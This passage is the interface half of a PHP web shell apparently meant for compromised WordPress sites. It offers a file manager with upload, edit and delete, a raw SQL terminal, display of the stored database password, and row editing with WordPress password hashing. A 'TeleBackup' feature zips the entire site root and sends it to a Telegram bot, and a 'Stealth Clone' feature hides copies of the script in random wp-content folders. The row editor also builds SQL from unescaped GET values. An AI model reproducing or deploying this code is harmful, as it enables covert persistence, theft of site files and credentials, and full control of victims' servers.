<div style="margin-top:20px;display:flex;justify-content:space-between;align-items:center">
<a href="?fm_only=1" class="btn bi" style="font-size:0.8rem"><?=icon('folder')?> File Manager Only</a>
<a href="?logout" style="color:var(--mut);font-size:0.8rem">Logout</a>
</div></form></div></div></div>
<?php else: ?>

<div class="overlay" onclick="tg()"></div>
<div class="sb"><h3 style="justify-content:space-between"><?=icon('db')?> Console <button class="mob-btn" style="color:#fff" onclick="tg()"><?=icon('x')?></button></h3>
<div class="nav noscroll">
<?php if($db): ?>
<a href="?" class="ni <?=!isset($_GET['view'])&&!isset($_GET['sql'])&&!isset($_GET['fm'])&&!isset($_GET['settings'])?'act':''?>"><?=icon('home')?> Dashboard</a>
<?php endif; ?>
<a href="?fm" class="ni <?=isset($_GET['fm'])?'act':''?>"><?=icon('folder')?> File Manager</a>
<?php if($db): ?>
<a href="?sql" class="ni <?=isset($_GET['sql'])?'act':''?>"><?=icon('sql')?> SQL Terminal</a>
<a href="?settings" class="ni <?=isset($_GET['settings'])?'act':''?>"><?=icon('set')?> Settings</a>
<div style="padding:10px 1.5rem;font-size:.7rem;text-transform:uppercase;color:#64748b;font-weight:800;letter-spacing:1px;margin-top:10px">Tables (<?=count($tables)?>)</div>
<?php foreach($tables as $t): ?><a href="?view=<?=urlencode($t['Name'])?>" class="ni <?=isset($_GET['view'])&&$_GET['view']===$t['Name']?'act':''?>"><?=icon('tbl')?> <?=e($t['Name'])?></a><?php endforeach; ?>
<?php else: ?>
<div style="padding:1rem;color:var(--mut);font-size:0.8rem;text-align:center">Mode: File Manager Only</div>
<a href="?settings" class="ni <?=isset($_GET['settings'])?'act':''?>"><?=icon('set')?> Settings</a>
<a href="?dis=1" class="ni" style="color:var(--dan)"><?=icon('db')?> Connect DB</a>
<?php endif; ?>
</div>
<?php if($db): ?><div style="padding:1rem;border-top:1px solid #1e293b;background:#020617"><div style="font-size:.85rem;font-weight:600;white-space:nowrap;overflow:hidden;text-overflow:ellipsis"><?=e($_SESSION['conf']['u'])?></div><div style="font-size:.75rem;opacity:.6"><?=e($_SESSION['conf']['h'])?></div></div><?php endif; ?>
</div>

<div class="main">
<div class="top">
    <div style="display:flex;align-items:center;gap:15px"><button class="mob-btn" onclick="tg()"><?=icon('menu')?></button><h2 style="margin:0;font-size:1.1rem;display:flex;align-items:center;gap:10px"><?php if(isset($_GET['view'])) echo icon('tbl').' '.e($_GET['view']); elseif(isset($_GET['sql'])) echo icon('sql').' Terminal'; elseif(isset($_GET['fm'])) echo icon('folder').' Files'; elseif(isset($_GET['settings'])) echo icon('set').' Settings'; else echo 'Dashboard'; ?></h2></div>
    <div style="display:flex;gap:10px"><button class="btn bi" onclick="tm()"><?=icon('sun')?></button><a href="?dis=1" class="btn bd"><?=icon('out')?></a></div>
</div>

<div class="con noscroll">
<?php if($fm_msg):?><div style="padding:12px;background:rgba(16,185,129,0.1);color:var(--suc);border-radius:8px;margin-bottom:20px;border:1px solid rgba(16,185,129,0.2)"><?=$fm_msg?></div><?php endif;?>
<?php if($msg):?><div style="padding:12px;background:rgba(16,185,129,0.1);color:var(--suc);border-radius:8px;margin-bottom:20px;border:1px solid rgba(16,185,129,0.2)"><?=$msg?></div><?php endif;?>
<?php if($err):?><div style="padding:12px;background:rgba(239,68,68,0.1);color:var(--dan);border-radius:8px;margin-bottom:20px;border:1px solid rgba(239,68,68,0.2)"><?=$err?></div><?php endif;?>

<?php if (isset($_GET['fm'])): $items = scandir($fm_path); ?>
<div class="card"><div class="ch"><span>File Manager</span>
<?php if(isset($_GET['edit_file'])): ?><a href="?fm&path=<?=urlencode(dirname($_POST['fp']??$fm_path))?>" class="btn bi">Back</a><?php else: ?>
<div style="display:flex;gap:5px">
<a href="?fm&path=<?=urlencode($fm_path)?>&mod=clone" class="btn bi"><?=icon('clone')?> Clone</a>
</div><?php endif; ?></div>
<div class="cb">
<?php if(!isset($_GET['edit_file'])): ?>
<form method="post" enctype="multipart/form-data" class="up-box" onclick="document.getElementById('fup').click()">
<input type="file" id="fup" name="f" style="display:none" onchange="this.form.submit()">
<?=icon('upload')?> <span style="font-weight:600">Click to Upload File</span>
</form>
<div style="margin:15px 0;padding:10px;background:var(--hov);border-radius:6px;font-family:monospace;word-break:break-all">
<?php $pts = explode(DIRECTORY_SEPARATOR, $fm_path); $bp = ''; foreach($pts as $p): $bp.=$p.'/'; if($p==='') continue; ?>
<a href="?fm&path=<?=urlencode(rtrim($bp,'/'))?>" style="color:var(--pri)"><?=e($p)?></a> / 
<?php endforeach; ?></div>
<?php endif; ?>

<?php if(isset($_GET['edit_file'])): $fc = file_get_contents($_GET['edit_file']); ?>
<form method="post"><input type="hidden" name="csrf" value="<?=$_SESSION['csrf']?>"><input type="hidden" name="fp" value="<?=e($_GET['edit_file'])?>">
<textarea name="fc" class="code noscroll" rows="20" style="width:100%;border:none;resize:vertical"><?=e($fc)?></textarea>
<div style="margin-top:10px;text-align:right"><button type="submit" name="fm_save" class="btn bp"><?=icon('save')?> Save</button></div></form>
<?php else: ?>
<div class="noscroll" style="overflow-x:auto"><table><thead><tr><th>Name</th><th style="width:100px">Size</th><th style="width:80px">Perms</th><th style="width:140px">Action</th></tr></thead><tbody>
<?php foreach($items as $i): if($i=='.'||$i=='..')continue; $p=$fm_path.'/'.$i; $is_d=is_dir($p); ?>
<tr><td><?php if($is_d):?><a href="?fm&path=<?=urlencode($p)?>" style="display:flex;align-items:center;gap:10px;font-weight:600;color:var(--txt)"><span style="color:#f59e0b"><?=icon('folder')?></span> <?=e($i)?></a>
<?php else:?><div style="display:flex;align-items:center;gap:10px"><span style="color:var(--mut)"><?=icon('file')?></span> <?=e($i)?></div><?php endif;?></td>
<td><?=$is_d?'-':hsize(filesize($p))?></td><td><?=substr(sprintf('%o',fileperms($p)),-4)?></td>
<td><div style="display:flex;gap:5px"><?php if(!$is_d):?><a href="?fm&path=<?=urlencode($fm_path)?>&edit_file=<?=urlencode($p)?>" class="btn bi" style="padding:4px"><?=icon('edit')?></a><?php endif;?><a href="?fm&path=<?=urlencode($fm_path)?>&mod=ren&t=<?=urlencode($i)?>" class="btn bi" style="padding:4px"><?=icon('edit')?></a><a href="?fm&path=<?=urlencode($fm_path)?>&mod=del&t=<?=urlencode($p)?>" class="btn bd" style="padding:4px"><?=icon('del')?></a></div></td></tr>
<?php endforeach; ?></tbody></table></div><?php endif; ?></div></div>

<?php elseif(isset($_GET['sql']) && $db): ?>
<div class="card"><div class="ch">Execute SQL</div><div class="cb"><form method="post"><input type="hidden" name="csrf" value="<?=$_SESSION['csrf']?>"><textarea name="q" class="code noscroll" rows="8" style="width:100%;margin-bottom:1rem;color:#e2e8f0" placeholder="SELECT * FROM table..."><?=e($_POST['q']??'')?></textarea><div style="text-align:right"><button type="submit" class="btn bp">Execute Query</button></div></form></div></div>
<?php if(isset($q_res)&&is_object($q_res)): ?>
<div class="card noscroll" style="overflow-x:auto"><table><thead><tr><?php while($f=$q_res->fetch_field())echo "<th>".e($f->name)."</th>";?></tr></thead><tbody><?php while($r=$q_res->fetch_assoc()):?><tr><?php foreach($r as $v)echo "<td>".e($v)."</td>";?></tr><?php endwhile;?></tbody></table></div>
<?php endif; ?>

<?php elseif(isset($_GET['settings'])): ?>
<div class="grid">
<?php if($db): $dbs=[]; $r=$db->query("SHOW DATABASES"); if($r)while($row=$r->fetch_array())$dbs[]=$row[0]; ?>
<div class="card"><div class="ch">Database Switcher</div><div class="cb"><div style="display:flex;flex-wrap:wrap;gap:10px">
<?php foreach($dbs as $d):?><form method="post" style="display:inline"><input type="hidden" name="csrf" value="<?=$_SESSION['csrf']?>"><input type="hidden" name="new_db" value="<?=e($d)?>"><button type="submit" name="switch_db" class="btn <?=$_SESSION['conf']['n']===$d?'bp':'bi'?>"><?=icon('db')?> <?=e($d)?></button></form><?php endforeach;?>
</div></div></div>
<div class="card"><div class="ch">Connection Info</div><div class="cb">
<div style="display:grid;gap:10px">
<div style="position:relative"><label style="font-size:.8rem;font-weight:700">Host</label><input type="text" value="<?=e($_SESSION['conf']['h'])?>" readonly></div>
<div style="position:relative"><label style="font-size:.8rem;font-weight:700">User</label><input type="text" value="<?=e($_SESSION['conf']['u'])?>" readonly></div>
<div style="position:relative"><label style="font-size:.8rem;font-weight:700">Password</label><div style="display:flex"><input type="password" id="dbp" value="<?=e($_SESSION['conf']['p'])?>" readonly><button onclick="sh('dbp')" class="btn bi" style="margin-left:5px"><?=icon('eye')?></button></div></div>
</div></div></div>
<?php endif; ?>
<div class="card"><div class="ch">TeleBackup (Root Source)</div><div class="cb"><form method="post">
<div style="display:grid;gap:10px">
<input type="text" name="tk" placeholder="Bot Token (1234:AbCd...)" required>
<input type="text" name="cid" placeholder="Chat ID" required>
<button type="submit" name="tele_bk" class="btn bp"><?=icon('tel')?> Backup & Send</button>
</div><div style="font-size:.8rem;margin-top:10px;color:var(--mut)">Zips entire site root, splits if > 50MB, sends to TG, deletes temp.</div>
</form></div></div>
<div class="card"><div class="ch">Stealth Clone</div><div class="cb"><a href="?settings&mod=clone" class="btn bp" style="width:100%;justify-content:center"><?=icon('clone')?> Clone Script</a><div style="font-size:.8rem;margin-top:10px;color:var(--mut)">Clones this script to a random folder in wp-content.</div></div></div>
</div>

<?php elseif(isset($_GET['edit']) && $db): $tbl=$_GET['tbl']; $row=[]; $pk=null; 
$cls=$db->query("SHOW COLUMNS FROM `$tbl`");
if(isset($_GET['pk']) && isset($_GET['val'])) { $pk=$_GET['pk']; $val=$_GET['val']; $row=$db->query("SELECT * FROM `$tbl` WHERE `$pk`='$val'")->fetch_assoc(); } ?>
<div class="card" style="max-width:800px;margin:0 auto"><div class="ch"><?=empty($row)?'Insert New Row':'Edit Row'?></div><div class="cb"><form method="post">
<input type="hidden" name="csrf" value="<?=$_SESSION['csrf']?>"><input type="hidden" name="tbl" value="<?=e($tbl)?>"><input type="hidden" name="save_row" value="1">
<?php if($pk):?><input type="hidden" name="pk" value="<?=e($pk)?>"><input type="hidden" name="pk_val" value="<?=e($val)?>"><?php endif;?>
<div style="display:grid;gap:15px">
<?php while($c=$cls->fetch_assoc()): $f=$c['Field']; $v=$row[$f]??''; ?>
<div style="display:grid;grid-template-columns:120px 1fr 100px;gap:10px;align-items:center">
    <div><label style="font-weight:600;font-size:.9rem"><?=e($f)?></label><div style="font-size:.7rem;color:var(--mut)"><?=e($c['Type'])?></div></div>
    <div><?php if(strpos($c['Type'],'text')!==false):?><textarea name="d[<?=e($f)?>]" rows="3"><?=e($v)?></textarea><?php else:?><input type="text" name="d[<?=e($f)?>]" value="<?=e($v)?>"><?php endif;?></div>
    <select name="func[<?=e($f)?>]"><option value="">Plain</option><option value="MD5">MD5</option><option value="BCRYPT">BCrypt</option><option value="SHA1">SHA1</option><option value="WP">WP (Hash)</option></select>
</div>
<?php endwhile; ?>
</div><div style="margin-top:20px;text-align:right;display:flex;justify-content:end;gap:10px"><a href="?view=<?=urlencode($tbl)?>" class="btn bi">Cancel</a><button type="submit" class="btn bp">Save Changes</button></div></form></div></div>

<?php elseif(isset($_GET['view']) && $db): $t=$_GET['view']; $page=max(1,intval($_GET['p']??1)); $lim=30; $off=($page-1)*$lim; 
$pk=null; $kp=$db->query("SHOW KEYS FROM `$t` WHERE Key_name='PRIMARY'"); if($kp&&$r=$kp->fetch_assoc())$pk=$r['Column_name'];
$total=$db->query("SELECT COUNT(*) FROM `$t`")->fetch_row()[0]; $pages=ceil($total/$lim); $data=$db->query("SELECT * FROM `$t` LIMIT $lim OFFSET $off");
$cols=$db->query("SHOW COLUMNS FROM `$t`"); ?>
<div class="card"><div class="ch">Structure <button onclick="document.getElementById('stb').classList.toggle('hidden')" class="btn bi" style="font-size:.7rem;padding:3px 8px">Toggle</button></div>
<div id="stb" style="overflow-x:auto" class="hidden noscroll"><table><thead><tr><th>Field</th><th>Type</th><th>Null</th><th>Key</th><th>Default</th></tr></thead>
<tbody><?php while($c=$cols->fetch_assoc()):?><tr><td><b><?=e($c['Field'])?></b></td><td><span class="badge bg-g"><?=e($c['Type'])?></span></td><td><?=e($c['Null'])?></td><td><?=e($c['Key'])==='PRI'?icon('key'):e($c['Key'])?></td><td><?=e($c['Default'])?></td></tr><?php endwhile;?></tbody></table></div></div>
<div class="card"><div class="ch"><div>Data <span class="badge bg-y"><?=$total?></span></div><a href="?edit=1&tbl=<?=urlencode($t)?>" class="btn bp">New Row</a></div>
<div class="noscroll" style="overflow-x:auto"><table><thead><tr><th style="width:80px">Act</th><?php $fs=[]; while($f=$data->fetch_field()){$fs[]=$f->name;echo "<th>".e($f->name)."</th>";}?></tr></thead><tbody>
<?php while($r=$data->fetch_assoc()):?><tr><td><div style="display:flex;gap:5px">
<?php if($pk):?><a href="?edit=1&tbl=<?=urlencode($t)?>&pk=<?=urlencode($pk)?>&val=<?=urlencode($r[$pk])?>" class="btn bi" style="padding:4px"><?=icon('edit')?></a><a href="?del_row=1&t=<?=urlencode($t)?>&k=<?=urlencode($pk)?>&v=<?=urlencode($r[$pk])?>" class="btn bd" style="padding:4px" onclick="return confirm('Del?')"><?=icon('del')?></a><?php endif;?>
</div></td><?php foreach($r as $k=>$v) echo "<td><div style='max-height:60px;overflow:hidden;font-size:.85rem'>".e(mb_strimwidth($v??'',0,100,'...')). "</div></td>";?></tr><?php endwhile;?>
</tbody></table></div>
<?php if($pages>1):?><div style="padding:1rem;display:flex;gap:5px;flex-wrap:wrap;justify-content:center"><?php for($i=max(1,$page-3);$i<=min($pages,$page+3);$i++):?><a href="?view=<?=urlencode($t)?>&p=<?=$i?>" class="btn <?=$i==$page?'bp':'bi'?>"><?=$i?></a><?php endfor;?></div><?php endif;?></div>

<?php elseif($db): $sz=0; foreach($tables as $tbl) $sz+=$tbl['Data_length']+$tbl['Index_length']; ?>
<div class="grid">
<div class="card"><div class="cb"><div style="color:var(--mut);font-weight:600;font-size:.85rem;text-transform:uppercase">Tables</div><div style="font-size:2rem;font-weight:800;color:var(--pri)"><?=count($tables)?></div></div></div>
<div class="card"><div class="cb"><div style="color:var(--mut);font-weight:600;font-size:.85rem;text-transform:uppercase">Size</div><div style="font-size:2rem;font-weight:800;color:var(--suc)"><?=hsize($sz)?></div></div></div>
<div class="card"><div class="cb"><div style="color:var(--mut);font-weight:600;font-size:.85rem;text-transform:uppercase">DB Name</div><div style="font-size:1.5rem;font-weight:800;color:var(--txt);word-break:break-all"><?=e($_SESSION['conf']['n'])?></div></div></div>
</div>
<div class="card"><div class="ch">Tables Management <form method="post" style="margin:0"><input type="hidden" name="csrf" value="<?=$_SESSION['csrf']?>"><button type="submit" name="export_db" class="btn bp"><?=icon('down')?> Export</button></form></div>
<div class="noscroll" style="overflow-x:auto"><table><thead><tr><th>Name</th><th>Rows</th><th>Size</th><th>Collation</th><th style="text-align:right">Actions</th></tr></thead><tbody>
<?php foreach($tables as $t): ?>
<tr><td><a href="?view=<?=urlencode($t['Name'])?>" style="font-weight:600;color:var(--pri)"><?=icon('tbl')?> <?=e($t['Name'])?></a></td>
<td><?=number_format($t['Rows'])?></td><td><?=hsize($t['Data_length']+$t['Index_length'])?></td><td style="font-size:.8rem;color:var(--mut)"><?=e($t['Collation'])?></td>
<td style="text-align:right"><div style="display:flex;justify-content:flex-end;gap:5px">
<a href="?view=<?=urlencode($t['Name'])?>" class="btn bi" style="padding:4px 8px"><?=icon('eye')?></a>
<a href="?trun_tbl=<?=urlencode($t['Name'])?>" class="btn bd" style="padding:4px 8px;background:rgba(245,158,11,0.1);color:#f59e0b" onclick="return confirm('Empty table?')">Empty</a>
<a href="?drop_tbl=<?=urlencode($t['Name'])?>" class="btn bd" style="padding:4px 8px" onclick="return confirm('DROP TABLE?')"><?=icon('del')?></a>
</div></td></tr>
<?php endforeach; ?></tbody></table></div></div>
<?php else: ?>
<?php if (isset($_GET['fm'])): ?><?php else: ?><div class="card"><div class="ch">Welcome</div><div class="cb">Select an option from the sidebar.</div></div><?php endif; ?>
<?php endif; ?>
<?php endif; ?>
</div></div></body></html>
<?php exit; ?>